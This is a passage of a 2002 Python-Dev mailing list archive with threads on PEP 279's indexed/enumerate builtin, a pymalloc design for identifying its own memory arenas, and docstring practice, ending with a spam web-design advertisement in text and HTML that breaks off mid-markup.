 <15523.26675.13808.162844@beluga.mojam.com>
Message-ID: <87sn6kf86x.fsf_-_@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Skip" == Skip Montanaro <skip@pobox.com> writes:

    Skip> I'd then advocate that the module doc string simply refer to
    Skip> the libref docs for the hierarchy.

Except that as I understand it, the libref docs are separate from the
sources, and written in a different language.  I know that Emacs and
XEmacs manuals are continuously different from the docstrings, and the
docstrings are usually more accurate for two reasons:

(1) The docstrings are written by people who have just implemented the
    behavior described, in a form which does not require shifting
    mental gears.  {C,Lisp} -> Texinfo is hard to get right.  Requires
    validating-by-doc-build, so, ok, I can do that later<wink>.

(2) Docstrings are a perfect forum for the "many eyes" to make small
    contributions, and we get a lot of them.  It is counterproductive
    to say "this is no good without a corresponding Texinfo patch."

NB.  Unlike Emacs Lisp, whose definition is "emergent" from the
development process, Python (as I understand it) has a more formal
definition process, even for the libraries.  So Skip has a good solid
theoretical basis for his position IMHO.

just-trying-to-confuse-you-with-facts-ly y'rs


-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From tim.one@comcast.net  Fri Mar 29 03:17:07 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 28 Mar 2002 22:17:07 -0500
Subject: [Python-Dev] Code comprehensibility patch
In-Reply-To: <0ca701c1d68a$7d0e3ac0$0202a8c0@boostconsulting.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGELKOIAA.tim.one@comcast.net>

> A long time ago I wrote to Guido suggesting that I might like to submit
> some patches to improve the comprehensibility of the Python source.
> ...
> I hope it looks like an improvement to people, but please let me know
> if it does not.

I assume there was something wrong with the patch as posted, as it looked
like the new code used 1-space indents.  It also looked like it was made
against an out-of-date version of typeobject.c (please use current CVS as a
base -- the newer type/class code is unusually volatile).

Apart from those, go for it!  It reminds me of something my first boss in
the computer biz said.  He looked at one of my checkins and remarked "Tim,
you seemed to add comments to parts of the code you didn't understand!".
The difference is that he was complaining <wink>.

>   /* Give up */

Indeed.



From python@rcn.com  Fri Mar 29 06:25:33 2002
From: python@rcn.com (Raymond Hettinger)
Date: Fri, 29 Mar 2002 01:25:33 -0500
Subject: [Python-Dev] Re: PEP 279
References: <200203282155.g2SLtFh11505@odiug.zope.com>
Message-ID: <005501c1d6ea$88b8fa80$2dd8accf@othello>

----- Original Message -----
From: "Guido van Rossum" <guido@python.org>
To: "Raymond Hettinger" <python@rcn.com>
Cc: <python-dev@python.org>
Sent: Thursday, March 28, 2002 4:55 PM
Subject: PEP 279


> PEP 279 proposes three separate things.  Comments on each:
>
>
> 1. New builtin: indexed()
>
>    I like the idea of having some way to iterate over a sequence and
>    its index set in parallel.  It's fine for this to be a builtin.

Great!

>
>    I don't like the name "indexed"; adjectives do not make good
>    function names.  Maybe iterindexed()?

Any reasonable name is fine with me.
Originally, I proposed index() but was talked out of it.

I like itercount() or enumerate().  The reason is that this
function can work with any iterable including those that
do not have numeric indices (such as dictionaries).
Counting or enumeration is what is really happening.

>    I don't like the start and stop arguments.  If I saw code like
>
>      for i, j in iterindexed("abcdefghij", 5, 10): print i, j
>
>    I would expect it to print
>
>      5 f
>      6 g
>      7 h
>      8 i
>      9 j
>
>    while the spec in the PEP would print
>
>      5 a
>      6 b
>      7 c
>      8 d
>      9 e

After nearly forty reviewers, you were the first to see the potential
confusion, but now I see it too.  The illusion comes from the argument name,
'start'.  Changing it to 'countfrom=0' eliminates the suggestion of sequence
slicing.

So now we have:   itercount(collection, countfrom=0, stop=None)

>    Very confusing.  I propose to remove the start/stop arguments

If the last change weren't sufficient, I could give-up the stop argument
leaving:

    itercount(collection, countfrom=0)

>      def iterindexed(collection):
>        i = 0
>        it = iter(collection)
>        while 1:
>          yield (i, it.next())
>          i += 1

This is good.  It gives 98% of what I'm after and I would take this rather
than nothing at all.  Still, I think we should not give up the countfrom
argument which handles the common case of enumerating from one:

for linenum, line in itercount( alinelist, 1 ):
    print 'Line %03d:  %s' % (linenum, line)

In summary, here is my order of preference:
1.  itercount(collection, countfrom=0, stop=None)   # best
2.  itercount(collection, countfrom=0)                      # almost
excellent
3.  itercount(collection)                                            # good
enough


> 2. Generator comprehensions
>
>    I don't think it's worth the trouble.  I expect it will take a lot
>    of work to hack it into the code generator: it has to create a
>    separate code object in order to be a generator.  List
>    comprehensions are inlined, so I expect that the generator
>    comprehension code generator can't share much with the list
>    comprehension code generator.  And this for something that's not
>    that common and easily done by writing a 2-line helper function.
>    IOW the ROI isn't high enough.
>

If implementation effort were taken out of the equation, would the
balance shift back to a +1 ?    In other words, if I find a developer
who wants this badly enough to work with me to get it implemented,
do we have a go?

Several commenters wanted this one quite a bit.  An excerpt: "This rules.
You rock."

>
> 3. Generator exception passing
>
>    This is where the PEP seems weakest.  There's no real motivation
>    ("This is a true deficiency" doesn't count :-).  There's no hint as
>    to how it should be implemented.

I need help from others on py-dev who can articulate the need clearly.
For me, it's as plain as day and I don't know what to say to convey the
message better than it is expressed in the PEP.

>    The example has a "return log"
>    statement in the generator body which is currently illegal, and I
>    can't figure out to where this value would be returned.

I'll fix the example.  It shouldn't return anything.  That line should have
said 'writelog(log)'.

It was meant to be a generic and oversimplified example of clean-up code in
a generator being used as a data consumer.

>  The
>    example looks like it doesn't need a generator,

Unfortunately, a minimal example demonstrating what throw does, is also so
minimal that it doesn't make a compelling case.  Dr.  Mertz's co-routine
code does make a much better case, but it takes half an hour to study his
example.  He was one of the early advocates of this proposal because he
could see that it simplified and clarified his code.  Tiny examples aren't
as compelling.

Also, the need is much stronger when taken in conjunction with the generator
attributes or generator parameter passing.  That proposal was carved out and
is being moved to a separate PEP so that the alternatives can be fully
explored.


Raymond Hettinger


P.S.  Thanks GvR for taking the time to look at this one.  I didn't expect
to hear back for another couple of weeks :)



From guido@python.org  Fri Mar 29 06:41:05 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 29 Mar 2002 01:41:05 -0500
Subject: [Python-Dev] Re: PEP 279
In-Reply-To: Your message of "Fri, 29 Mar 2002 01:25:33 EST."
 <005501c1d6ea$88b8fa80$2dd8accf@othello>
References: <200203282155.g2SLtFh11505@odiug.zope.com>
 <005501c1d6ea$88b8fa80$2dd8accf@othello>
Message-ID: <200203290641.g2T6f5v04879@pcp742651pcs.reston01.va.comcast.net>

> > 1. indexed()

> >    I don't like the name "indexed"; adjectives do not make good
> >    function names.  Maybe iterindexed()?
> 
> Any reasonable name is fine with me.
> Originally, I proposed index() but was talked out of it.
> 
> I like itercount() or enumerate().  The reason is that this
> function can work with any iterable including those that
> do not have numeric indices (such as dictionaries).
> Counting or enumeration is what is really happening.

I don't like either of those, you don't seem to like iterindexed(), so
we'll have to think more about a name.

> for linenum, line in itercount( alinelist, 1 ):
>     print 'Line %03d:  %s' % (linenum, line)

You can do that like this:

  for linenum, line in itercount(alinelist):
      print 'Line %03d:  %s' % (linenum+1, line)

> In summary, here is my order of preference:
> 1.  itercount(collection, countfrom=0, stop=None)   # best
> 2.  itercount(collection, countfrom=0)                      # almost
> excellent
> 3.  itercount(collection)                                            # good
> enough

I really hate the alternate count option, so let's agree to pick 3
(with a different name).

> > 2. Generator comprehensions

> If implementation effort were taken out of the equation, would the
> balance shift back to a +1 ?    In other words, if I find a developer
> who wants this badly enough to work with me to get it implemented,
> do we have a go?

Not really.  After it's written (and debugged!), it's still a lot of
code that needs to be maintained (we're already thinking about
rewriting the bytecode generators, there's Jython, and so on) for a
very slight benefit.  What other feature would you give up in order to
have this on?

If the only way to get you to stop asking for this is a -1 from me,
I'll give it a -1.

> Several commenters wanted this one quite a bit.  An excerpt: "This
> rules.  You rock."

Yeah, if I left Python's design to Ping, it would become quite the
clever hack. :-)

> > 3. Generator exception passing

> I need help from others on py-dev who can articulate the need clearly.
> For me, it's as plain as day and I don't know what to say to convey the
> message better than it is expressed in the PEP.

Too bad.  This one gets a big fat -1 until there's a good motivational
section.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From just@letterror.com  Fri Mar 29 08:01:11 2002
From: just@letterror.com (Just van Rossum)
Date: Fri, 29 Mar 2002 09:01:11 +0100
Subject: [Python-Dev] Re: PEP 279
In-Reply-To: <005501c1d6ea$88b8fa80$2dd8accf@othello>
Message-ID: <20020329090114-r01010800-691d6860-0920-010c@10.0.0.23>

Raymond Hettinger wrote:

> I like itercount() or enumerate().  The reason is that this
> function can work with any iterable including those that
> do not have numeric indices (such as dictionaries).
> Counting or enumeration is what is really happening.

But the *reason* for this proposal is to turn this idiom:

  for i in range(len(seq)):
      element = seq[i]
      ...

into this:

  for i, element in enumerate(seq):
      ...

It's hardly useful for types that don't have numeric indices, so the fact that
it _does_ work with any iterator seems almost an implementation detail.

I quite like the name enumerate. Hate itercount. I'm neutral on indexed.

Just


From tim.one@comcast.net  Fri Mar 29 10:32:32 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 29 Mar 2002 05:32:32 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAEGCOIAA.tim_one@email.msn.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEMGOIAA.tim.one@comcast.net>

[Tim]
> Recall that pymalloc delegates requests for "not small" blocks to
> the system malloc.  This means that when pymalloc's free() is called,
> it has to figure out whether the address passed to it was one it
> allocated itself, or came from the system malloc.
> ...
> However, the question remained whether a hostile user could study
> the source code to mount a successful attack.  Alas, it turns out
> that's easy.

There may be hope for this, and another strong reason for pursuing it.
Guido pointed out that *if* pymalloc's free() could know for sure whether an
address passed to it did or didn't come from the system malloc, then we
could also (probably -- needs some more thought) continue to use the
PyObject interface, *without* breaking most "illegal by fiat" old code, via
also mapping PyMem_{Free, FREE, Del, DEL} to the pymalloc free (when
pymalloc is enabled):  then the various PyMem_NukeIt spellings would *know*
whether to pass a piece of memory on to the system free().

So I have a variant of pymalloc that doesn't use magic cookies -- it knows
"for sure", by maintaining a sorted (by address) contiguous vector of the
base addresses of the (256KB each) "arenas" allocated by pymalloc.  A given
address A either does or doesn't satisfy

    B <= A < B+256KB

for some base address B in this list.  At worst, a binary search is needed
to see whether any such B exists.  For a typical 2**31 byte VM address
space, we can get at most 2**31/2**18 == 2**13 arenas, so at worst this
vector can grow to a measly 8K entries (typically far fewer), and 13 is a
reasonable upper bound on the number of compares needed.

So it can't be a disaster, but neither is it dirt cheap.  A promising
candidate for saving grace:  in tests so far, frees tend to hit the same
arena many times in a row.  By saving a search finger into the vector that
remembers the last hit index, and checking that location first, I'm seeing
hit rates over 85%.  The two-sided range test at the finger index can be
inlined, and the two compares it requires are exactly as many compares as
the current magic-cookie tests do.  So, most of the time, it may run as fast
as now.

For an address pymalloc *doesn't* handle on its own, though, a full binary
search is required to discover that it's not a pymalloc address.  Leaving at
least one magic-cookie gimmick in could slash that (if the magic cookie
isn't there, we know for sure it's not a pymalloc address).  So the test
becomes something like

def PyMalloc_Free(thisaddr):
    # ... weed out NULL ...

    # not NULL
    if (addrs[finger] <= thisaddr < addrs[finger] + 256KB
        or (thisaddr_has_magic_cookie and binary_search_for(thisaddr)):
        it's a pymalloc addr
    else
        it goes to the system free()

That gives a likely fast-path for each class of address, and should never
err (provided we're passed legitimate addresses, and user code doesn't write
out of bounds, etc).

A nasty subtlety:  if PyMem_NukeIt is called when the GIL isn't held, it's
going to take a lot of thought to see whether this can be made safe when
called simultaneously by multiple threads; e.g., the finger can change
"mid-stream" then, and, worse, some thread that *does* hold the GIL may
legitimately cause a new arena to be allocated midstream, mutating the
address vector during the search.  This may be intractable enough to kill
the idea of mapping PyMem_XXX to this.

A nasty trick:  due to the wonders of unsigned arithmetic, the two-sided
range test can be reduced to one compare:

    (Py_uintptr)thisaddr - (Py_uintptr)addrs[finger] < 256KB

In other news, "it's obvious" that the small object threshhold is too small
for 2.3.  I'm still inclined to max it out.



From jacobs@penguin.theopalgroup.com  Fri Mar 29 11:57:54 2002
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Fri, 29 Mar 2002 06:57:54 -0500 (EST)
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEMGOIAA.tim.one@comcast.net>
Message-ID: <Pine.LNX.4.44.0203290649480.22363-100000@penguin.theopalgroup.com>

Some wild-ass thoughts:

On Fri, 29 Mar 2002, Tim Peters wrote:
> A nasty subtlety:  if PyMem_NukeIt is called when the GIL isn't held, it's
> going to take a lot of thought to see whether this can be made safe when
> called simultaneously by multiple threads; e.g., the finger can change
> "mid-stream"

Then make multiple thread-specific fingers, which will presumably result in
higher hit rates due to better locality.  To prevent fingers from being
invalidated, do not remove arenas that are deallocated from the tree -- just
mark them inactive.

> then, and, worse, some thread that *does* hold the GIL may
> legitimately cause a new arena to be allocated midstream, mutating the
> address vector during the search.  This may be intractable enough to kill
> the idea of mapping PyMem_XXX to this.

Why not use a smaller (non-global) lock to protect arena modification and
finger flushing?  Ideally, the lock should be cheap for readers (which I
presume will be the vast majority of accesses) and relatively expensive for
writers (which I assume will occur only when arenas are added or
deactivated).

-Kevin

--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From paul-python@svensson.org  Fri Mar 29 12:32:52 2002
From: paul-python@svensson.org (Paul Svensson)
Date: Fri, 29 Mar 2002 07:32:52 -0500 (EST)
Subject: [Python-Dev] Re: PEP 279
In-Reply-To: <20020329090114-r01010800-691d6860-0920-010c@10.0.0.23>
Message-ID: <Pine.LNX.4.44.0203290727320.5900-100000@familjen.svensson.org>

On Fri, 29 Mar 2002, Just van Rossum wrote:

>But the *reason* for this proposal is to turn this idiom:
>
>  for i in range(len(seq)):
>      element = seq[i]
>      ...
>
>into this:
>
>  for i, element in enumerate(seq):
>      ...
>
>It's hardly useful for types that don't have numeric indices, so the fact that
>it _does_ work with any iterator seems almost an implementation detail.
>
>I quite like the name enumerate. Hate itercount. I'm neutral on indexed.

Pardon me if I'm daft, but...
What was wrong with seq.items() / seq.iteritems(),
that they dropped out of the discussion ?

	/Paul




From python@rcn.com  Fri Mar 29 13:34:08 2002
From: python@rcn.com (Raymond Hettinger)
Date: Fri, 29 Mar 2002 08:34:08 -0500
Subject: [Python-Dev] Re: PEP 279
References: <E16qtio-0005a8-00@mail.python.org>
Message-ID: <005501c1d726$67f7b2a0$ccd8accf@othello>

> Subject: Re: [Python-Dev] Re: PEP 279
> From: Guido van Rossum <guido@python.org>
> Date: Fri, 29 Mar 2002 01:41:05 -0500

[GvR] >    I like the idea of having some way to iterate over a sequence and
[GvR] >    its index set in parallel.  It's fine for this to be a builtin.
>
[RDH] Great!

[RDH] > I like itercount() or enumerate().  The reason is that this
[RDH] > function can work with any iterable including those that
[RDH] > do not have numeric indices (such as dictionaries).
[RDH] > Counting or enumeration is what is really happening.
>
[GvR] I don't like either of those, you don't seem to like iterindexed(), so
[GvR] we'll have to think more about a name.

[Just]  I quite like the name enumerate. Hate itercount. I'm neutral on
indexed.

[RDH] > 3.  itercount(collection)                       # good enough
[GvR] I really hate the alternate count option, so let's agree to pick 3
[GvR] (with a different name).

Done!
Though my tastes are a little different, iterindexed() works just fine.
I'm agreed (agreeing with dictators is good for ones health :-) to
option three as you wrote it:

[GvR]     def iterindexed(collection):
[GvR]            i = 0
[GvR]            it = iter(collection)
[GvR]            while 1:
[GvR]            yield (i, it.next())
[GvR]              i += 1

Thank you.  I'll put it back it the PEP just like this and mark it
as Accepted.



> > > 2. Generator comprehensions

[GvR] If the only way to get you to stop asking for this is a -1 from me,
[GvR] I'll give it a -1.

Okay, I'll mark this one as rejected.  The rationale for the rejection
will be that the implementation and maintenance complexities
exceed the added value.  The added value would be minimal
because it's already easy to code the generator directly.

[RDH] > Several commenters wanted this one quite a bit.  An excerpt: "This
[RDH] > rules.  You rock."
[GvR] Yeah, if I left Python's design to Ping, it would become quite the
[GvR] clever hack. :-)

Poor Ping, getting a little public ribbing for foolishly supporting
my proposal <grin> when the comment actually came from Kragen Sitaker :)



> > > 3. Generator exception passing
>
[RDH] > I need help from others on py-dev who can articulate the need
clearly.
[RDH] > For me, it's as plain as day and I don't know what to say to convey
the
[RDH] > message better than it is expressed in the PEP.
>
[GvR] Too bad.  This one gets a big fat -1 until there's a good motivational
[GvR] section.

Okay, let's defer this one until the case for or against becomes stronger.
I'll move it to join the separate PEP for generator parameter passing.
Putting that one in a separate pep was necessary because it wasn't
yet ready for pronoucement.  I'll mark the two (exception passing
and parameter passing) as being proposed for 2.4 or later and note
that the case is not currently strong enough to warrant acceptance.


Executive Summary:
1.  iterindexed(collection)  -->  accepted
2.  gen comprehensions  -->  rejected
3.  gen exception passing  -->  deferred, needs case building
4.  gen parameter passing   -->  deferred, needs alternatives explored


Everyone, thank you for your time and thoughtful comments.  We're done.


Raymond Hettinger

_ ~
@ @
\_/




From mszigety@cisco.com  Fri Mar 29 14:12:08 2002
From: mszigety@cisco.com (Mark Szigety)
Date: Fri, 29 Mar 2002 09:12:08 -0500
Subject: [Python-Dev] Python 2.2 chr representation errors with embedded C
Message-ID: <000701c1d72b$b6a50c40$02ff1a42@peanut>

Hello,

I have recently made the upgrade to Python 2.2 from 1.5.2.  In the
Python application which I develop, we have several embedded C
functions, one of which is a simple function to convert a hex string to
octal--it simply chars each byte and returns the new buffer.  However, I
have noticed a 0.01% error rate in Python 2.2 which I did not see in
Python 1.5.2 (it was 100% accurate).  That is, 1 out of 10,000 hex
strings will be converted incorrectly in the C function, usually one
byte is returned as \x00 instead of what is should be.  I also have
noticed that in Python 2.2, chr(0xff) returns \xff instead of \377 in
Python 1.5.2.  Could this be the source of the communication breakdown?

I should mention that writing a similar conversion function totally in
Python is 100% accurate in Python 2.2 as well as Python 1.5.2, although
it is an order of magnitude slower.

Any information about the apparent source of this issue would be
appreciated!

Thanks,
Mark




From guido@python.org  Fri Mar 29 14:34:01 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 29 Mar 2002 09:34:01 -0500
Subject: [Python-Dev] pymalloc killer
In-Reply-To: Your message of "Fri, 29 Mar 2002 05:32:32 EST."
 <LNBBLJKPBEHFEDALKOLCCEMGOIAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCEMGOIAA.tim.one@comcast.net>
Message-ID: <200203291434.g2TEY1505403@pcp742651pcs.reston01.va.comcast.net>

> There may be hope for this, and another strong reason for pursuing it.
[good stuff snipped]

> A nasty subtlety: if PyMem_NukeIt is called when the GIL isn't held,
> it's going to take a lot of thought to see whether this can be made
> safe when called simultaneously by multiple threads; e.g., the
> finger can change "mid-stream" then, and, worse, some thread that
> *does* hold the GIL may legitimately cause a new arena to be
> allocated midstream, mutating the address vector during the search.
> This may be intractable enough to kill the idea of mapping PyMem_XXX
> to this.

I know of two places that calls PyMem_Malloc outside the GIL:
PyOS_StdioReadline in Parser/myreadline.c and call_readline() in
Modules/readline.c.  The memory thus allocated is returned by
PyOS_Readline() (which calls either function through a hook pointer),
and both its callers (the tokenizer and raw_input()) free the result
using PyMem_DEL or PyMem_FREE (these two seem to be used
synonymically).  The tokenizer code may also apply PyMem_RESIZE to it
(it incorporated the input line in its buffer structure).

This would have to be fixed by changing the allocations to use
malloc() (as they did up to 1.5.2 :-) and by changing the consumers to
use free() and realloc().  (An alternative would be to let
PyOS_Readline() copy the memory to PyMem_Malloc'ed memory.)

This is part of a "hook" API that allows 3rd parties to provide their
own alternative to PyOS_Readline.  This was put in at the request of
some folks at LLNL who were providing their own GUI that fed into
Python and who had some problems with sending it to stdin.  I don't
think anybody else has used this.  There is not a single mention of
PyOS_Readline in the entire set of Python documentation.

Given the alternatives:

1. introduce new APIs PyMalloc_{New,Del}Object and tell all extension
   writers that they have to changes their extensions once again to
   use these brand new APIs if they want to benefit from pymalloc; or

2. fix the issues with PyOS_Readline, make PyMem_{DEL,FREE,Del,Free}
   synonyms for Tim's clever PyMem_NukeIt, and continue to promote
   using PyObject_{New,Del} for use by extension writers;

I'm all for #2.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar 29 14:35:31 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 29 Mar 2002 09:35:31 -0500
Subject: [Python-Dev] Re: PEP 279
In-Reply-To: Your message of "Fri, 29 Mar 2002 07:32:52 EST."
 <Pine.LNX.4.44.0203290727320.5900-100000@familjen.svensson.org>
References: <Pine.LNX.4.44.0203290727320.5900-100000@familjen.svensson.org>
Message-ID: <200203291435.g2TEZVP05439@pcp742651pcs.reston01.va.comcast.net>

> What was wrong with seq.items() / seq.iteritems(),
> that they dropped out of the discussion ?

Every sequence type, built-in or 3rd party, would have to be modified
to support these.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar 29 14:39:10 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 29 Mar 2002 09:39:10 -0500
Subject: [Python-Dev] Re: PEP 279
In-Reply-To: Your message of "Fri, 29 Mar 2002 08:34:08 EST."
 <005501c1d726$67f7b2a0$ccd8accf@othello>
References: <E16qtio-0005a8-00@mail.python.org>
 <005501c1d726$67f7b2a0$ccd8accf@othello>
Message-ID: <200203291439.g2TEdAF05480@pcp742651pcs.reston01.va.comcast.net>

> Executive Summary:
> 1.  iterindexed(collection)  -->  accepted

Except I want to think more about the name.

> 2.  gen comprehensions  -->  rejected

Good.

> 3.  gen exception passing  -->  deferred, needs case building

OK (or you could give up now while you're ahead :-).

> 4.  gen parameter passing   -->  deferred, needs alternatives explored

That one was already taken out of the PEP.  I think that #3 probably
fits better in the new PEP you were gonna write for #4.  But to be
honest, I don't encourage you to write it -- I expect I'm gonna reject
both in the end.  But I can't stop you. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From python@rcn.com  Fri Mar 29 14:54:40 2002
From: python@rcn.com (Raymond Hettinger)
Date: Fri, 29 Mar 2002 09:54:40 -0500
Subject: [Python-Dev] Re: PEP 279
References: <E16qtio-0005a8-00@mail.python.org>              <005501c1d726$67f7b2a0$ccd8accf@othello>  <200203291439.g2TEdAF05480@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <005201c1d731$a82bd9e0$eab53bd0@othello>

> > 3.  gen exception passing  -->  deferred, needs case building
> 
> OK (or you could give up now while you're ahead :-).
> 
> > 4.  gen parameter passing   -->  deferred, needs alternatives explored
> 
> That one was already taken out of the PEP.  I think that #3 probably
> fits better in the new PEP you were gonna write for #4.  But to be
> honest, I don't encourage you to write it -- I expect I'm gonna reject
> both in the end.  But I can't stop you. :-)

That's cool.  Better to be fully thought out, documented, and rejected
than to be half-baked and in limbo for perpetuity.

Besides, you might even like the revised proposal.  I think I've found
a very clean, consistent, pythonic way to avoid the problem with 
the thrown away call to next().


rejection-is-a-form-of-progress-ly yours,


Raymond Hettinger











From martin@v.loewis.de  Fri Mar 29 14:58:18 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 29 Mar 2002 15:58:18 +0100
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEMGOIAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCEMGOIAA.tim.one@comcast.net>
Message-ID: <m3r8m3whdh.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> So I have a variant of pymalloc that doesn't use magic cookies -- it
> knows "for sure", by maintaining a sorted (by address) contiguous
> vector of the base addresses of the (256KB each) "arenas" allocated
> by pymalloc.

I would not like to see such a binary search performed. Instead, if
anything needs to be done, I'd be in favour of using a constant-time
algorithm, even if it means that a littler more memory overhead is
necessary.

I have the following idea: each chunk allocated by ought to have a
pointer to its pool, immediately preceding the memory block. This will
make an overhead of 4 bytes per allocation. Chunks allocated by the
system allocator will have a null pointer preceding them.

To deal with alignment, the size classes would increase each by 4
bytes, so they would be spaced at 12, 20, 28, etc. bytes. With the 4
byte overallocation, each chunk would be 8-aligned, if the previous
chunk in the same pool is.

This approach would allow to remove the requirement that each pool
must be 4k-aligned.

To support the NULL pointer in a system-malloc'ed chunk, pymalloc
would overallocate 8 bytes if it defers to system malloc, to preserve
alignment.

What do you think?

Regards,
Martin


From martin@v.loewis.de  Fri Mar 29 15:02:05 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 29 Mar 2002 16:02:05 +0100
Subject: [Python-Dev] Python 2.2 chr representation errors with embedded C
In-Reply-To: <000701c1d72b$b6a50c40$02ff1a42@peanut>
References: <000701c1d72b$b6a50c40$02ff1a42@peanut>
Message-ID: <m3n0wrwh76.fsf@mira.informatik.hu-berlin.de>

"Mark Szigety" <mszigety@cisco.com> writes:

> Any information about the apparent source of this issue would be
> appreciated!

I guess there is a bug in your code. Please don't use python-dev to
discuss it. If you have been using repr internally: yes, there result
of representing a string has changed from 1.5.2 to 2.2.

Regards,
Martin


From til1li.iili1i1li1_il@email.it  Fri Mar 29 15:34:35 2002
From: til1li.iili1i1li1_il@email.it (til1li.iili1i1li1_il@email.it)
Date: Fri, 29 Mar 2002 10:34:35 -0500
Subject: [Python-Dev] When will your website be finished?
Message-ID: <E16qyPR-0003q2-00@mail.python.org>

This is a multi-part message in MIME format.

------_NextPart_2629166136
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: QUOTED-PRINTABLE

Get a beautiful, 100%

Custom Web site

or redesign your


existing site.


Only $399!*






Call now and schedule a walk through
with a Web design specialist.
404-806-6124



Includes up to 7 pages (you can add more), plus a Guestbook and a Bulletin
Board. Java rollover buttons, Feedback forms, Pushbutton E-Commerce
Activation and more. It will be constructed to your taste and specifications in only
five days. We do not use templates,  our sites are completely custom.

*Must host with us for $15.96 a month. You get: 200 Megs, 100 E-mail accounts,
Control Panel, Front Page, Graphical Statistics, more!
Act now and get one FREE .com domain name!

To discuss your Web site, call 404-806-6124
and schedule a call back now.



------_NextPart_2629166136
Content-Type: text/html; charset="ISO-8859-1"
Content-Transfer-Encoding: QUOTED-PRINTABLE

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Beautiful,Custom Websites for $399 Complete!</TITLE>
</HEAD>
<BODY text=3D#000000 vLink=3D#000080 aLink=3D#000080 link=3D#000080 bgColor=3D#000080 
topMargin=3D7>
<div align=3D"center">
    <TABLE borderColor=3D#000000 height=3D669 cellSpacing=3D0 cellPadding=3D3 width=3D564 
bgColor=3D#990000 border=3D1>
       
      <TR>
        <TD width=3D554 bgColor=3D#990000 height=3D22> 
          <P align=3Dcenter><font color=3D"#ffffff" size=3D5 
     ><STRONG>We build GREAT LOOKING 
      websites!</STRONG> 
                </font></P>
        </TD>
      </TR>
  <TR>
        <TD vAlign=3Dtop width=3D554 height=3D0>
            <TABLE style=3D"WIDTH: 555px" height=3D654 cellSpacing=3D0 
      cellPadding=3D0 width=3D"539" border=3D0>
               
              <TR>
                <TD width=3D"0" height=3D0 valign=3D"top">
            <TABLE borderColor=3D#000000 height=3D5 cellSpacing=3D0 cellPadding=3D5 
            width=3D554 bgColor=3D#ffffff border=3D1>
              
              <TR>
                        <TD vAlign=3Dtop width=3D0 height=3D0> 
                          <TABLE height=3D439 width=3D"529" border=3D0 style=3D"HEIGHT: 439px; WIDTH: 529px">
                            <FONT color=3D#ff0000> </FONT>
                    <TBODY> 
                            <TR><FONT color=3D#ff0000>
                              <TD width=3D"314" height=3D299 valign=3D"top"><P align=3Dleft><font color=3D#ff0000><font color=3D#ff0000></font></font><font face=3D"Arial" 
                       ><FONT color=3D#ff0000 
                        size=3D6><STRONG>STOP toiling over that Website that just 
                        never gets finished!</STRONG></FONT></font></P>
                        <P align=3Dleft><FONT color=3D#ff0000><FONT face=3DArial 
                        color=3D#ff0000><FONT color=3D#000080><STRONG><FONT 
                        color=3D#000000><FONT 
                        style=3D"BACKGROUND-COLOR: #ff0000" color=3D#0000ff 
                       ><FONT size=3D4><FONT 
                        color=3D#800040>Trade the headaches for this:</FONT>   
                         <BR></FONT></FONT><FONT 
                        style=3D"BACKGROUND-COLOR: #ffff00" size=3D4>7 GREAT looking 
                        pages<BR>Flashy "Roll Over" buttons<BR>Professional 
                        Graphics<BR>15 Pictures<BR>Feedback&nbsp; Forms<BR>Guest 
                        book<BR>Bulletin Board<BR>Chat Room<BR>Unlimited Email 
                        Accounts<BR>Website Visitor Statistics<BR>Toll Free 
                        Support and more.<BR></FONT><FONT 
                        style=3D"BACKGROUND-COLOR: #ff0000"><FONT size=3D4><FONT 
                        color=3D#0000ff>Online and on CD&nbsp;in just 5 
                        days.</FONT>   
                           
                        <BR></FONT></FONT></FONT></STRONG></FONT></FONT></FONT><font face=3D"Arial" color=3D"#ff0000" size=3D"3"></P>
                              </FONT>
                        </TD></FONT>
                              <TD vAlign=3Dtop width=3D"205" height=3D299><P align=3Dcenter><font face=3D"Arial"><font color=3D"#004080" size=3D4 
                       ><STRONG>Professional Website 
                        Production only $399.00<BR><BR><FONT 
                        color=3D#000000>Order today and 
                        get<BR></FONT></STRONG>
                                  </font></font><FONT 
                        face=3DArial size=3D4><STRONG><FONT color=3D#0000ff>FREE 
                        <BR></FONT><FONT color=3D#000000><FONT 
                        color=3D#0000ff>HOSTING</FONT> for<BR> 1 Full 
                        Year<BR></FONT><FONT color=3D#004080><FONT 
                        color=3D#0000ff>and FREE copy on CD!</FONT>
                        <HR id=3Dundefined align=3Dcenter>
                        </FONT></STRONG><FONT color=3D#0000ff><STRONG><FONT 
                        face=3DArial><STRONG><FONT color=3D#0000ff size=3D5><FONT 
